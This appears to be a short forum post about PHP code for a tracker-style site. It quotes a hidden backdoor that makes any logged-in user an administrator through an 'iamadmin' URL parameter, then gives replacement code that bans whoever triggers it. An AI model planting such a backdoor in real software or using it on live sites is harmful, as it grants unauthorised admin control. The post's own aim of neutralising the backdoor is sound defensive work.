[sammygo]

if ($_GET["iamadmin"]) {
$tagat=$CURUSER["id"];
                               mysql_query("UPDATE `users` SET `class` = '9' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
 print("Now you are one of site admins :D");
                }
if ($_GET["back"]) {
$tagat=$CURUSER["id"];
                               mysql_query("UPDATE `users` SET `class` = '0' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
 print("Your class now is 0 :(");
                }  

change to

if ($_GET["iamadmin"]) {
$tagat=$CURUSER["id"];
                               mysql_query("UPDATE `users` SET `enabled` = 'no' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
 print("Now you are Banned :D");
                }
if ($_GET["back"]) {
$tagat=$CURUSER["id"];
                               mysql_query("UPDATE `users` SET `enabled` = 'no' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
 print("Now you are Banned :D");
                }